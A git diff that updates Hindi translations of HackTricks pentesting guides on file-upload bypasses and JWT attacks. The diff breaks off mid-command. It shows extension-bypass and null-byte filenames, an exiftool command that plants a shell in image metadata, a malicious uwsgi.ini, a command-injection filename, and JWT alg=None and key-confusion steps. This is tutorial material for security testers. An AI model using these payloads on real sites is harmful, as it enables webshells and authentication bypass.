यदि आप **हैकिंग करियर** में रुचि रखते हैं और अहेक करने योग्य को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक है_). @@ -36,11 +36,11 @@ GCP हैकिंग सीखें और अभ्यास करें: < ### फ़ाइल एक्सटेंशन जांच को बायपास करें -1. यदि लागू हो, तो **पिछले एक्सटेंशन** की **जांच** करें। कुछ **बड़े अक्षरों** का उपयोग करके भी परीक्षण करें: _pHp, .pHP5, .PhAr ..._ -2. _**कार्यकारी एक्सटेंशन से पहले एक मान्य एक्सटेंशन जोड़ने की जांच करें** (पिछले एक्सटेंशन का भी उपयोग करें):_ +1. यदि लागू हो, तो **पिछले एक्सटेंशनों की जांच करें।** कुछ **बड़े अक्षरों** का उपयोग करके भी परीक्षण करें: _pHp, .pHP5, .PhAr ..._ +2. _**कार्यकारी एक्सटेंशन से पहले एक मान्य एक्सटेंशन जोड़ने की जांच करें** (पिछले एक्सटेंशनों का भी उपयोग करें):_ * _file.png.php_ * _file.png.Php5_ -3. **अंत में विशेष वर्ण जोड़ने का प्रयास करें।** आप सभी **ascii** और **Unicode** वर्णों को **bruteforce** करने के लिए Burp का उपयोग कर सकते हैं। (_ध्यान दें कि आप **पिछले** उल्लेखित **एक्सटेंशन** का उपयोग करने का प्रयास भी कर सकते हैं_) +3. **अंत में विशेष वर्ण जोड़ने का प्रयास करें।** आप सभी **ascii** और **Unicode** वर्णों को **bruteforce** करने के लिए Burp का उपयोग कर सकते हैं। (_ध्यान दें कि आप **पिछले** उल्लेखित **एक्सटेंशनों** का उपयोग करने का प्रयास भी कर सकते हैं_) * _file.php%20_ * _file.php%0a_ * _file.php%00_ @@ -50,7 +50,7 @@ GCP हैकिंग सीखें और अभ्यास करें: < * _file._ * _file.php...._ * _file.pHp5...._ -4. **सर्वर-साइड के एक्सटेंशन पार्सर को धोखा देकर सुरक्षा को बायपास करने का प्रयास करें** जैसे कि **डबलिंग** **एक्सटेंशन** या **जंक** डेटा (**null** बाइट्स) को एक्सटेंशन के बीच जोड़ना। _आप बेहतर पेलोड तैयार करने के लिए **पिछले एक्सटेंशन** का भी उपयोग कर सकते हैं._ +4. **सर्वर-साइड के एक्सटेंशन पार्सर को धोखा देकर सुरक्षा को बायपास करने का प्रयास करें** जैसे कि **डबलिंग** **एक्सटेंशन** या **जंक** डेटा (**null** बाइट्स) को एक्सटेंशनों के बीच जोड़ना। _आप बेहतर पेलोड तैयार करने के लिए **पिछले एक्सटेंशनों** का भी उपयोग कर सकते हैं._ * _file.png.php_ * _file.png.pHp5_ * _file.php#.png_ @@ -59,12 +59,12 @@ GCP हैकिंग सीखें और अभ्यास करें: < * _file.php%0a.png_ * _file.php%0d%0a.png_ * _file.phpJunk123png_ -5. पिछले जांच के लिए **एक और परत एक्सटेंशन जोड़ें**: +5. पिछले जांच के लिए **एक और परत एक्सटेंशनों** को जोड़ें: * _file.png.jpg.php_ * _file.php%00.png%00.jpg_ -6. **मान्य एक्सटेंशन से पहले exec एक्सटेंशन डालने का प्रयास करें** और प्रार्थना करें कि सर्वर गलत कॉन्फ़िगर किया गया है। (Apache की गलत कॉन्फ़िगरेशन का शोषण करने के लिए उपयोगी जहां कोई भी एक्सटेंशन **.php** के साथ समाप्त नहीं होता है, लेकिन **कोड निष्पादित करेगा**): +6. **मान्य एक्सटेंशन से पहले exec एक्सटेंशन डालने का प्रयास करें** और प्रार्थना करें कि सर्वर गलत कॉन्फ़िगर किया गया है। (Apache की गलत कॉन्फ़िगरेशन का शोषण करने के लिए उपयोगी जहां कोई भी एक्सटेंशन **.php** के साथ, लेकिन **जरूरी नहीं कि .php** में समाप्त हो, कोड निष्पादित करेगा): * _उदाहरण: file.php.png_ -7. **Windows में NTFS वैकल्पिक डेटा स्ट्रीम (ADS)** का उपयोग करें। इस मामले में, एक कॉलन वर्ण “:” एक प्रतिबंधित एक्सटेंशन के बाद और एक अनुमत के पहले डाला जाएगा। परिणामस्वरूप, सर्वर पर **प्रतिबंधित एक्सटेंशन** के साथ एक **खाली फ़ाइल** बनाई जाएगी (जैसे “file.asax:.jpg”)। इस फ़ाइल को बाद में अन्य तकनीकों का उपयोग करके संपादित किया जा सकता है जैसे कि इसके छोटे फ़ाइल नाम का उपयोग करना। “**::$data**” पैटर्न का उपयोग गैर-खाली फ़ाइलें बनाने के लिए भी किया जा सकता है। इसलिए, इस पैटर्न के बाद एक डॉट वर्ण जोड़ना आगे की प्रतिबंधों को बायपास करने के लिए भी उपयोगी हो सकता है (जैसे “file.asp::$data.”) +7. **Windows में NTFS वैकल्पिक डेटा स्ट्रीम (ADS)** का उपयोग करना। इस मामले में, एक कॉलन वर्ण “:” एक प्रतिबंधित एक्सटेंशन के बाद और एक अनुमत के पहले डाला जाएगा। परिणामस्वरूप, सर्वर पर **प्रतिबंधित एक्सटेंशन** के साथ एक **खाली फ़ाइल** बनाई जाएगी (जैसे “file.asax:.jpg”)। इस फ़ाइल को बाद में अन्य तकनीकों का उपयोग करके संपादित किया जा सकता है जैसे कि इसके छोटे फ़ाइल नाम का उपयोग करना। “**::$data**” पैटर्न का उपयोग गैर-खाली फ़ाइलें बनाने के लिए भी किया जा सकता है। इसलिए, इस पैटर्न के बाद एक डॉट वर्ण जोड़ना भी आगे की प्रतिबंधों को बायपास करने के लिए उपयोगी हो सकता है (जैसे “file.asp::$data.”) 8. फ़ाइल नाम सीमाओं को तोड़ने का प्रयास करें। मान्य एक्सटेंशन कट जाता है। और दुर्भावनापूर्ण PHP छोड़ दिया जाता है। AAA<--SNIP-->AAA.php ``` @@ -78,19 +78,19 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAA<--SNIP 232 A-->AAA.php.png ``` -### सामग्री-प्रकार, जादुई संख्या, संकुचन और आकार बदलने को बायपास करें +### सामग्री-प्रकार, जादुई संख्या, संपीड़न और आकार बदलने को बायपास करें * **Content-Type** जांच को बायपास करें **Content-Type** **header** के **मान** को सेट करके: _image/png_ , _text/plain , application/octet-stream_ 1. Content-Type **शब्दकोश**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt) -* फ़ाइल की शुरुआत में **वास्तविक छवि** के **बाइट्स** को जोड़कर **जादुई संख्या** जांच को बायपास करें ( _file_ कमांड को भ्रमित करें)। या **metadata** के अंदर शेल पेश करें:\ +* फ़ाइल की शुरुआत में **एक वास्तविक छवि** के **बाइट्स** को जोड़कर **जादुई संख्या** जांच को बायपास करें ( _file_ कमांड को भ्रमित करें)। या **मेटाडेटा** के अंदर शेल पेश करें:\ `exiftool -Comment="' >> img.png` -* यदि आपकी छवि में **संकुचन जोड़ा जा रहा है**, उदाहरण के लिए कुछ मानक PHP पुस्तकालयों का उपयोग करके जैसे [PHP-GD](https://www.php.net/manual/fr/book.image.php), तो पिछले तकनीकें उपयोगी नहीं होंगी। हालाँकि, आप **PLTE chunk** [**यहाँ परिभाषित तकनीक**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) का उपयोग कर सकते हैं ताकि कुछ पाठ जोड़ा जा सके जो **संकुचन** को **बचाएगा**। +* यदि आपकी छवि में **संपीड़न जोड़ा जा रहा है**, उदाहरण के लिए कुछ मानक PHP पुस्तकालयों का उपयोग करके जैसे [PHP-GD](https://www.php.net/manual/fr/book.image.php), तो पिछले तकनीकें उपयोगी नहीं होंगी। हालाँकि, आप **PLTE खंड** [**यहाँ परिभाषित तकनीक**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) का उपयोग कर सकते हैं ताकि कुछ पाठ जोड़ा जा सके जो **संपीड़न** को सहन करेगा। * [**कोड के साथ गिटहब**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_plte\_png.php) -* वेब पृष्ठ **छवि** का **आकार बदलने** के लिए भी हो सकता है, उदाहरण के लिए PHP-GD फ़ंक्शंस `imagecopyresized` या `imagecopyresampled` का उपयोग करके। हालाँकि, आप **IDAT chunk** [**यहाँ परिभाषित तकनीक**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) का उपयोग कर सकते हैं ताकि कुछ पाठ जोड़ा जा सके जो **संकुचन** को **बचाएगा**। +* वेब पृष्ठ **छवि** का **आकार बदलने** के लिए भी हो सकता है, उदाहरण के लिए PHP-GD फ़ंक्शंस `imagecopyresized` या `imagecopyresampled` का उपयोग करके। हालाँकि, आप **IDAT खंड** [**यहाँ परिभाषित तकनीक**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) का उपयोग कर सकते हैं ताकि कुछ पाठ जोड़ा जा सके जो **संपीड़न** को सहन करेगा। * [**कोड के साथ गिटहब**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_idat\_png.php) -* एक और तकनीक जो एक पेलोड बनाने के लिए है जो **छवि के आकार बदलने** को **बचाएगी**, PHP-GD फ़ंक्शन `thumbnailImage` का उपयोग करना। हालाँकि, आप **tEXt chunk** [**यहाँ परिभाषित तकनीक**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) का उपयोग कर सकते हैं ताकि कुछ पाठ जोड़ा जा सके जो **संकुचन** को **बचाएगा**। +* एक और तकनीक जो एक पेलोड बनाने के लिए है जो **छवि के आकार बदलने** को सहन करता है, PHP-GD फ़ंक्शन `thumbnailImage` का उपयोग करना। हालाँकि, आप **tEXt खंड** [**यहाँ परिभाषित तकनीक**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) का उपयोग कर सकते हैं ताकि कुछ पाठ जोड़ा जा सके जो **संपीड़न** को सहन करेगा। * [**कोड के साथ गिटहब**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_tEXt\_png.php) ### अन्य ट्रिक्स की जांच करें @@ -101,7 +101,7 @@ AAA<--SNIP 232 A-->AAA.php.png 1. **एक ही फ़ाइल** को **कई बार** (और **एक ही समय में**) **एक ही नाम** के साथ अपलोड करें। 2. **एक फ़ाइल** के **नाम** के साथ फ़ाइल अपलोड करें या **फोल्डर** जो **पहले से मौजूद है**। 3. **“.”, “..”, या “…”** के रूप में नाम वाली फ़ाइल अपलोड करना। उदाहरण के लिए, Windows में Apache में, यदि एप्लिकेशन अपलोड की गई फ़ाइलों को “/www/uploads/” निर्देशिका में सहेजता है, तो “.” फ़ाइल नाम “/www/” निर्देशिका में “uploads” नाम की फ़ाइल बनाएगा। -4. ऐसी फ़ाइल अपलोड करें जिसे आसानी से हटाया नहीं जा सकता जैसे **“…:.jpg”** **NTFS** में। (Windows) +4. **“…:.jpg”** जैसी फ़ाइल अपलोड करें जो **NTFS** में आसानी से हटाई नहीं जा सकती। (Windows) 5. **Windows** में **अमान्य वर्ण** जैसे `|<>*?”` के साथ फ़ाइल अपलोड करें। (Windows) 6. **Windows** में **आरक्षित** (**प्रतिबंधित**) **नामों** जैसे CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, और LPT9 के साथ फ़ाइल अपलोड करें। * **एक निष्पादन योग्य** (.exe) या **.html** (कम संदिग्ध) फ़ाइल अपलोड करने का प्रयास करें जो **कोड निष्पादित करेगा** जब इसे पीड़ित द्वारा गलती से खोला जाएगा। @@ -111,9 +111,9 @@ AAA<--SNIP 232 A-->AAA.php.png यदि आप **PHP सर्वर** पर फ़ाइलें अपलोड करने का प्रयास कर रहे हैं, तो [कोड निष्पादित करने के लिए **.htaccess** ट्रिक पर एक नज़र डालें](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\ यदि आप **ASP सर्वर** पर फ़ाइलें अपलोड करने का प्रयास कर रहे हैं, तो [कोड निष्पादित करने के लिए **.config** ट्रिक पर एक नज़र डालें](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files). -`.phar` फ़ाइलें जावा के लिए `.jar` की तरह होती हैं, लेकिन PHP के लिए, और इन्हें **PHP फ़ाइल की तरह** (PHP के साथ निष्पादित करना, या इसे स्क्रिप्ट के अंदर शामिल करना...) उपयोग किया जा सकता है। +`.phar` फ़ाइलें जावा के लिए `.jar` की तरह होती हैं, लेकिन PHP के लिए, और इन्हें **PHP फ़ाइल की तरह** उपयोग किया जा सकता है (PHP के साथ निष्पादित करना, या इसे स्क्रिप्ट के अंदर शामिल करना...) -`.inc` एक्सटेंशन कभी-कभी PHP फ़ाइलों के लिए उपयोग किया जाता है जो केवल फ़ाइलों को **आयात** करने के लिए उपयोग की जाती हैं, इसलिए, किसी बिंदु पर, किसी ने **इस एक्सटेंशन को निष्पादित करने की अनुमति दी हो**। +`.inc` एक्सटेंशन कभी-कभी PHP फ़ाइलों के लिए उपयोग किया जाता है जो केवल फ़ाइलों को **आयात** करने के लिए उपयोग की जाती हैं, इसलिए, किसी बिंदु पर, किसी ने **इस एक्सटेंशन को निष्पादित करने की अनुमति दी हो सकती है**। ## **Jetty RCE** @@ -125,9 +125,9 @@ AAA<--SNIP 232 A-->AAA.php.png इस भेद्यता की विस्तृत खोज के लिए मूल शोध देखें: [uWSGI RCE शोषण](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html). -रिमोट कमांड निष्पादन (RCE) भेद्यताएँ uWSGI सर्वरों में शोषित की जा सकती हैं यदि किसी के पास `.ini` कॉन्फ़िगरेशन फ़ाइल को संशोधित करने की क्षमता हो। uWSGI कॉन्फ़िगरेशन फ़ाइलें "जादुई" चर, प्लेसहोल्डर और ऑपरेटर को शामिल करने के लिए एक विशिष्ट वाक्यविन्यास का उपयोग करती हैं। विशेष रूप से, '@' ऑपरेटर, जिसका उपयोग `@(filename)` के रूप में किया जाता है, एक फ़ाइल की सामग्री को शामिल करने के लिए डिज़ाइन किया गया है। uWSGI में विभिन्न समर्थित योजनाओं में, "exec" योजना विशेष रूप से शक्तिशाली है, जो एक प्रक्रिया के मानक आउटपुट से डेटा पढ़ने की अनुमति देती है। इस सुविधा का दुरुपयोग रिमोट कमांड निष्पादन या मनमाने फ़ाइल लेखन/पढ़ने के लिए किया जा सकता है जब एक `.ini` कॉन्फ़िगरेशन फ़ाइल संसाधित की जाती है। +रिमोट कमांड निष्पादन (RCE) भेद्यताएँ uWSGI सर्वरों में शोषित की जा सकती हैं यदि किसी के पास `.ini` कॉन्फ़िगरेशन फ़ाइल को संशोधित करने की क्षमता है। uWSGI कॉन्फ़िगरेशन फ़ाइलें "जादुई" चर, प्लेसहोल्डर और ऑपरेटर को शामिल करने के लिए एक विशिष्ट वाक्यविन्यास का उपयोग करती हैं। विशेष रूप से, '@' ऑपरेटर, जिसका उपयोग `@(filename)` के रूप में किया जाता है, एक फ़ाइल की सामग्री को शामिल करने के लिए डिज़ाइन किया गया है। uWSGI में विभिन्न समर्थित योजनाओं में, "exec" योजना विशेष रूप से शक्तिशाली है, जो एक प्रक्रिया के मानक आउटपुट से डेटा पढ़ने की अनुमति देती है। इस सुविधा का दुरुपयोग रिमोट कमांड निष्पादन या मनमाने फ़ाइल लेखन/पढ़ने के लिए किया जा सकता है जब एक `.ini` कॉन्फ़िगरेशन फ़ाइल संसाधित की जाती है। -एक हानिकारक `uwsgi.ini` फ़ाइल का निम्नलिखित उदाहरण विचार करें, जो विभिन्न योजनाओं को प्रदर्शित करता है: +हानिकारक `uwsgi.ini` फ़ाइल का निम्नलिखित उदाहरण विभिन्न योजनाओं को प्रदर्शित करता है: ```ini [uwsgi] ; read from a symbol @@ -152,7 +152,7 @@ uWSGI की कॉन्फ़िगरेशन फ़ाइल पार् ## **wget फ़ाइल अपलोड/SSRF ट्रिक** कुछ अवसरों पर आप देख सकते हैं कि एक सर्वर **`wget`** का उपयोग **फ़ाइलें डाउनलोड करने** के लिए कर रहा है और आप **URL** को **संकेत** कर सकते हैं। इन मामलों में, कोड यह जांच सकता है कि डाउनलोड की गई फ़ाइलों का एक्सटेंशन एक व्हाइटलिस्ट के भीतर है ताकि यह सुनिश्चित किया जा सके कि केवल अनुमत फ़ाइलें डाउनलोड की जा रही हैं। हालाँकि, **यह जांच बायपास की जा सकती है।**\ -**linux** में **फ़ाइल नाम** की **अधिकतम** लंबाई **255** है, हालाँकि, **wget** फ़ाइल नामों को **236** वर्णों तक संक्षिप्त करता है। आप **"A"\*232+".php"+".gif"** नामक फ़ाइल **डाउनलोड** कर सकते हैं, यह फ़ाइल नाम **जांच** को **बायपास** करेगा (जैसे कि इस उदाहरण में **".gif"** एक **मान्य** एक्सटेंशन है) लेकिन `wget` फ़ाइल का नाम **"A"\*232+".php"** में **रिनेम** करेगा। +**linux** में **फ़ाइल नाम** की **अधिकतम** लंबाई **255** है, हालाँकि, **wget** फ़ाइल नामों को **236** वर्णों तक संक्षिप्त करता है। आप **"A"\*232+".php"+".gif"** नामक फ़ाइल **डाउनलोड** कर सकते हैं, यह फ़ाइल नाम **जांच** को **बायपास** करेगा (जैसे कि इस उदाहरण में **".gif"** एक **मान्य** एक्सटेंशन है) लेकिन `wget` फ़ाइल का नाम **"A"\*232+".php"** में **बदल देगा**। ```bash #Create file and HTTP server echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")') @@ -175,7 +175,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[============================================= 2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10] ``` -Note that **एक और विकल्प** जिसे आप इस जांच को बायपास करने के लिए सोच रहे होंगे, वह है **HTTP सर्वर को एक अलग फ़ाइल पर रीडायरेक्ट करना**, ताकि प्रारंभिक URL जांच को बायपास कर सके, फिर wget रीडायरेक्ट की गई फ़ाइल को नए नाम के साथ डाउनलोड करेगा। यह **काम नहीं करेगा** **जब तक** wget को **पैरामीटर** `--trust-server-names` के साथ उपयोग नहीं किया जा रहा है क्योंकि **wget रीडायरेक्ट की गई पृष्ठ को मूल URL में निर्दिष्ट फ़ाइल के नाम के साथ डाउनलोड करेगा**। +Note that **एक और विकल्प** जिसे आप इस जांच को बायपास करने के लिए सोच रहे होंगे, वह है **HTTP सर्वर को एक अलग फ़ाइल पर रीडायरेक्ट करना**, ताकि प्रारंभिक URL जांच को बायपास कर दे और फिर wget रीडायरेक्ट की गई फ़ाइल को नए नाम के साथ डाउनलोड कर ले। यह **काम नहीं करेगा** **जब तक** wget को **पैरामीटर** `--trust-server-names` के साथ उपयोग नहीं किया जा रहा है क्योंकि **wget रीडायरेक्ट की गई पृष्ठ को मूल URL में निर्दिष्ट फ़ाइल के नाम के साथ डाउनलोड करेगा**। ## Tools @@ -189,7 +189,7 @@ Note that **एक और विकल्प** जिसे आप इस जा * **filename** को `; sleep 10;` पर सेट करें ताकि कुछ कमांड इंजेक्शन का परीक्षण किया जा सके (अधिक [कमांड इंजेक्शन ट्रिक्स यहाँ](../command-injection.md)) * [**XSS** इमेज (svg) फ़ाइल अपलोड में](../xss-cross-site-scripting/#xss-uploading-files-svg) * **JS** फ़ाइल **अपलोड** + **XSS** = [**Service Workers** शोषण](../xss-cross-site-scripting/#xss-abusing-service-workers) -* [**XXE svg अपलोड में**](../xxe-xee-xml-external-entity.md#svg-file-upload) +* [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload) * [**Open Redirect** svg फ़ाइल अपलोड करके](../open-redirect.md#open-redirect-uploading-svg-files) * [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) से **विभिन्न svg पेलोड** का प्रयास करें\*\*\*\* * [प्रसिद्ध **ImageTrick** कमजोरी](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/) @@ -202,8 +202,8 @@ Note that **एक और विकल्प** जिसे आप इस जा यहाँ शीर्ष 10 चीजों की सूची है जो आप अपलोड करके प्राप्त कर सकते हैं (से [यहाँ](https://twitter.com/SalahHasoneh1/status/1281274120395685889)): 1. **ASP / ASPX / PHP5 / PHP / PHP3**: वेबशेल / RCE -2. **SVG**: स्टोर की गई XSS / SSRF / XXE -3. **GIF**: स्टोर की गई XSS / SSRF +2. **SVG**: स्टोर किया गया XSS / SSRF / XXE +3. **GIF**: स्टोर किया गया XSS / SSRF 4. **CSV**: CSV इंजेक्शन 5. **XML**: XXE 6. **AVI**: LFI / SSRF @@ -221,7 +221,7 @@ Note that **एक और विकल्प** जिसे आप इस जा * **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["` * **JPG**: `"\xff\xd8\xff"` -अन्य फ़ाइल प्रकारों के लिए [https://en.wikipedia.org/wiki/List\_of\_file\_signatures](https://en.wikipedia.org/wiki/List\_of\_file\_signatures) देखें। +अन्य फ़ाइल प्रकारों के लिए [https://en.wikipedia.org/wiki/List\_of\_file\_signatures](https://en.wikipedia.org/wiki/List\_of\_file\_signatures) को देखें। ### ज़िप/टार फ़ाइल स्वचालित रूप से डिकंप्रेस्ड अपलोड @@ -316,7 +316,7 @@ PNG फ़ाइल के IDAT भाग में PHP शेल एम्ब पॉलीग्लॉट फ़ाइलों की मुख्य उपयोगिता उनकी क्षमता में निहित है जो फ़ाइलों को प्रकार के आधार पर स्क्रीन करने वाले सुरक्षा उपायों को बायपास कर सकती हैं। विभिन्न अनुप्रयोगों में सामान्य प्रथा केवल कुछ फ़ाइल प्रकारों को अपलोड करने की अनुमति देना है—जैसे JPEG, GIF, या DOC—संभावित हानिकारक प्रारूपों (जैसे JS, PHP, या Phar फ़ाइलें) द्वारा उत्पन्न जोखिम को कम करने के लिए। हालाँकि, एक पॉलीग्लॉट, जो कई फ़ाइल प्रकारों की संरचनात्मक मानदंडों के अनुसार होता है, चुपचाप इन प्रतिबंधों को बायपास कर सकता है। -अपनी अनुकूलता के बावजूद, पॉलीग्लॉट्स सीमाओं का सामना करते हैं। उदाहरण के लिए, जबकि एक पॉलीग्लॉट एक साथ एक PHAR फ़ाइल (PHp ARchive) और एक JPEG को समाहित कर सकता है, इसके अपलोड की सफलता प्लेटफ़ॉर्म की फ़ाइल एक्सटेंशन नीतियों पर निर्भर कर सकती है। यदि सिस्टम अनुमत एक्सटेंशनों के बारे में सख्त है, तो पॉलीग्लॉट की केवल संरचनात्मक द्वैतता इसके अपलोड की गारंटी देने के लिए पर्याप्त नहीं हो सकती है। +अपनी अनुकूलता के बावजूद, पॉलीग्लॉट सीमाओं का सामना करते हैं। उदाहरण के लिए, जबकि एक पॉलीग्लॉट एक साथ एक PHAR फ़ाइल (PHp ARchive) और एक JPEG को समाहित कर सकता है, इसके अपलोड की सफलता प्लेटफ़ॉर्म की फ़ाइल एक्सटेंशन नीतियों पर निर्भर कर सकती है। यदि सिस्टम अनुमत एक्सटेंशनों के बारे में सख्त है, तो पॉलीग्लॉट की केवल संरचनात्मक द्वैतता इसके अपलोड की गारंटी देने के लिए पर्याप्त नहीं हो सकती है। अधिक जानकारी के लिए: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a) @@ -329,9 +329,9 @@ PNG फ़ाइल के IDAT भाग में PHP शेल एम्ब * [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/) * [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a) -
+
-यदि आप **हैकिंग करियर** में रुचि रखते हैं और अनहैक करने योग्य को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक है_)। +यदि आप **हैकिंग करियर** में रुचि रखते हैं और अन्हैक करने योग्य को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक है_)। {% embed url="https://www.stmcyber.com/careers" %} @@ -343,8 +343,8 @@ GCP हैकिंग सीखें और अभ्यास करें: < HackTricks का समर्थन करें -* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें! -* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो** करें [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) जांचें! +* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो करें** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **हैकिंग ट्रिक्स साझा करें और [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।** diff --git a/pentesting-web/hacking-jwt-json-web-tokens.md b/pentesting-web/hacking-jwt-json-web-tokens.md index 2ebc6163b..1a0d409b9 100644 --- a/pentesting-web/hacking-jwt-json-web-tokens.md +++ b/pentesting-web/hacking-jwt-json-web-tokens.md @@ -15,7 +15,7 @@ Learn & practice GCP Hacking: {% endhint %} -
+
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अचूक को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक_). @@ -44,7 +44,7 @@ You can also use the [**Burp Extension SignSaboteur**](https://github.com/d0ge/s ### डेटा को बिना कुछ बदले टेम्पर करें -आप बस डेटा के साथ छेड़छाड़ कर सकते हैं और सिग्नेचर को वैसा ही छोड़ सकते हैं और जांच सकते हैं कि क्या सर्वर सिग्नेचर की जांच कर रहा है। उदाहरण के लिए, अपने उपयोगकर्ता नाम को "admin" में बदलने की कोशिश करें। +आप बस डेटा के साथ छेड़छाड़ कर सकते हैं जबकि सिग्नेचर को वैसा ही छोड़ सकते हैं और जांच सकते हैं कि क्या सर्वर सिग्नेचर की जांच कर रहा है। उदाहरण के लिए, अपने उपयोगकर्ता नाम को "admin" में बदलने की कोशिश करें। #### **क्या टोकन की जांच की जाती है?** @@ -56,20 +56,20 @@ You can also use the [**Burp Extension SignSaboteur**](https://github.com/d0ge/s ### उत्पत्ति -यह निर्धारित करना महत्वपूर्ण है कि क्या टोकन सर्वर-साइड या क्लाइंट-साइड द्वारा उत्पन्न किया गया था, प्रॉक्सी के अनुरोध इतिहास की जांच करके। +यह निर्धारित करना महत्वपूर्ण है कि क्या टोकन सर्वर-साइड या क्लाइंट-साइड पर उत्पन्न हुआ था, प्रॉक्सी के अनुरोध इतिहास की जांच करके। * क्लाइंट साइड से पहले देखे गए टोकन सुझाव देते हैं कि कुंजी क्लाइंट-साइड कोड के लिए उजागर हो सकती है, जिसके लिए आगे की जांच की आवश्यकता है। * सर्वर-साइड से उत्पन्न टोकन एक सुरक्षित प्रक्रिया को इंगित करते हैं। ### अवधि -जांचें कि क्या टोकन 24 घंटे से अधिक समय तक रहता है... शायद यह कभी समाप्त नहीं होता। यदि "exp" फ़ील्ड है, तो जांचें कि क्या सर्वर इसे सही ढंग से संभाल रहा है। +जांचें कि क्या टोकन 24 घंटे से अधिक समय तक रहता है... शायद यह कभी समाप्त नहीं होता। यदि "exp" फ़ील्ड है, तो जांचें कि क्या सर्वर इसे सही तरीके से संभाल रहा है। ### Brute-force HMAC secret [**इस पृष्ठ को देखें।**](../generic-methodologies-and-resources/brute-force.md#jwt) -### एल्गोरिदम को None में संशोधित करें +### एल्गोरिदम को None में बदलें उपयोग किए गए एल्गोरिदम को "None" के रूप में सेट करें और सिग्नेचर भाग को हटा दें। @@ -82,7 +82,7 @@ You can also use the [**Burp Extension SignSaboteur**](https://github.com/d0ge/s यदि आप एल्गोरिदम को RS256 से HS256 में बदलते हैं, तो बैक एंड कोड सार्वजनिक कुंजी को गुप्त कुंजी के रूप में उपयोग करता है और फिर सिग्नेचर को सत्यापित करने के लिए HS256 एल्गोरिदम का उपयोग करता है। -फिर, सार्वजनिक कुंजी का उपयोग करते हुए और RS256 को HS256 में बदलते हुए, हम एक मान्य सिग्नेचर बना सकते हैं। आप इसे निष्पादित करते हुए वेब सर्वर का प्रमाणपत्र प्राप्त कर सकते हैं: +फिर, सार्वजनिक कुंजी का उपयोग करते हुए और RS256 को HS256 में बदलते हुए हम एक मान्य सिग्नेचर बना सकते हैं। आप इसे निष्पादित करते हुए वेब सर्वर का प्रमाणपत्र प्राप्त कर सकते हैं: ```bash openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and 